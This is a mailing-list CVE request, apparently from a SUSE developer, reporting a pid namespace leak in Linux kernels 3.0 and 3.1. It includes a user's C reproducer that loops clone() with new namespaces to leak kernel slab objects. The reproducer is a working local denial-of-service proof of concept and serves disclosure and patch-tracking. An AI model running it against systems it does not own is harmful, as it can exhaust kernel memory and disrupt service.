CVE request: pid namespace leak in kernel 3.0 and 3.1

[Marcus Meissner <meissner () suse de>]

Hi,

we had a user, Vadim Ponomarev (ccrssaa at karelia.ru),  report a pid
namespace leak caused by vsftpd.

https://bugzilla.novell.com/show_bug.cgi?id=757783

He provided a simple reproducer:

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <sched.h>
#include <linux/sched.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[])
{
    int i, ret;

    for (i = 0; i < 10000; i++) {

        if (0 == (ret = syscall(__NR_clone, CLONE_NEWPID | CLONE_NEWIPC |
CLONE_NEWNET | SIGCHLD, NULL)))
            return 0;

        if (-1 == ret) {
            perror("clone");
            break;
        }

    }
    return 0;
}


and checking "cat /proc/slabinfo|grep pid_namespace"
gives 10000 more active slots after running it on 3.0.13 (+SUSE patches) and 3.1.10 (+SUSE patches).


Running this on 3.2.0 (+SUSE Patches) did not result in more slots, so it was probably
fixed between 3.1 and 3.2 (but someone else cross check perhaps).

Any idea welcome on which patch fixed this, I tried 1b26c9b334044cff6d1d2698f2be41bc7d9a0864
but it seems not helping.

Ciao, Marcus